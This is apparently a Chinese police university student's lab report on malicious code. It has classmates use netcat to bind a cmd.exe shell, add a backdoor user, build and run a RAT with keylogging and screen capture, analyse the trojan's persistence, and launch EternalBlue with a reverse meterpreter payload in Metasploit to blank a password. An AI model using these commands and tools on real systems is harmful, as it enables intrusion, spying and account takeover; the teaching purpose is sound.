学 号 201821450002

中国人民公安大学

Chinese people’ public security university

网络对抗技术

实验报告

实验四

恶意代码技术

学生姓名

陈一维

年级

2018级

区队

18网安5区

指导教师

高见

信息技术与网络安全学院

2020年12月3日

实验任务总纲

2020—2021 学年 第 一 学期

一、实验目的

1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制;通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。

2.了解并熟悉常用的网络攻击工具,木马的基本功能;

3.达到巩固课程知识和实际应用的目的。

二、实验要求

1.认真阅读每个实验内容,需要截图的题目,需清晰截图并对截图进行标注和说明。

2.文档要求结构清晰,图文表达准确,标注规范。推理内容客观、合理、逻辑性强。

3.软件工具可使用NC、MSF等。

4.实验结束后,保留电子文档。

三、实验步骤

1.准备

提前做好实验准备,实验前应把详细了解实验目的、实验要求和实验内容,熟悉并准备好实验用的软件工具,按照实验内容和要求提前做好实验内容的准备。

2.实验环境

描述实验所使用的硬件和软件环境(包括各种软件工具);

开机并启动软件office2003或2007、浏览器、加解密软件。

3.实验过程

1)启动系统和启动工具软件环境。

2)用软件工具实现实验内容。

4.实验报告

按照统一要求的实验报告格式书写实验报告。把按照模板格式编写的文档嵌入到实验报告文档中,文档按照规定的书写格式书写,表格要有表说图形要有图说。

任务一 利用NC控制电脑

NetCat,具有网络军刀之称,它小巧精悍且功能强大,说它小巧精悍,是因为他的软件大小现在已经压缩到只有十几KB,而且在功能上丝毫不减。

实验过程需要两个同学相互配合完成:

步骤一:

在受害者的机器 (同学A)
输入下面的命令:
  nc.exe -l -p port -e cmd.exe 进入监听模式

步骤二:
  在攻击者的机器.(同学B)
输入下面的命令:
  nc ip port //连接victim_IP,然后得到一个shell。 (需要截图)

步骤三:

在shell中,利用net user  xxx 1206 /add ,添加一个用户,并在受害者的机器中使用 net user 命令进行验证。(需要截图)

任务二 利用木马控制电脑

相关工具:

https://pan.baidu.com/s/1ipOkdU2HTPFtgU6fF669Gg

https://pan.baidu.com/s/1ajmRKsnv5XvFrKWzszDYwQ(备用,另外一个木马)

实验过程需要两个同学配合:

步骤一:

 攻击者的机器. (同学A)
打开V2014.exe程序或则star RAT,这两个木马功能类似。

步骤二:
  点击菜单栏中的“服务生成”,在弹出的配置服务端中,配置回连IP地址(攻击者IP)和端口号,并点击“生成”按钮,生成木马服务端。

步骤三:

将生成的木马可执行程序拷贝到受害者的机器,并双击运行。

步骤四:

在控制端中查看木马上线情况,并对以下功能每个进行测试和截图。

文件管理,尝试拷贝文件

本地:

2.屏幕控制,尝试获取桌面

3.键盘记录,尝试获取对方击键记录

4.会话管理,重启对方机器,查看是否能自启动上线

会话管理,卸载对方的木马。



任务三 木马分析

将任务二中生成的木马设置具备自删除功能和自启动功能,对其进行分析。回答以下问题(截图证明)(推荐使用“火绒剑”工具)

1.该木马的回连IP是?172.20.10.8

2.该木马的回连端口是?2012

3.该木马自删除后,会将自身的宿主程序改成什么名字,并隐藏到系统其它目录中。

名字改成了svchost.exe,隐藏在C:\WINDOWS\417E3AF1目录下

4.该木马依靠什么方法实现自启动的,怎么实现的。

通过注册表的方式,详见上图Reg Modify

任务四 msf攻击体验

sudo netdiscover -r 172.20.10.0/24

打开msfconsole

搜索永恒之蓝

show options

set Rhost

show options

set Rhost

set payload windows/meterpreter/reverse_http

set Lhost

exploit

原本用户登录需要输入密码

getuid+shell命令

net user 查看用户并将改用户密码更改为*,即设为无密码

可直接登录

posted on 2020-12-10 11:29  足坛浪子  阅读(64)  评论(0)    收藏  举报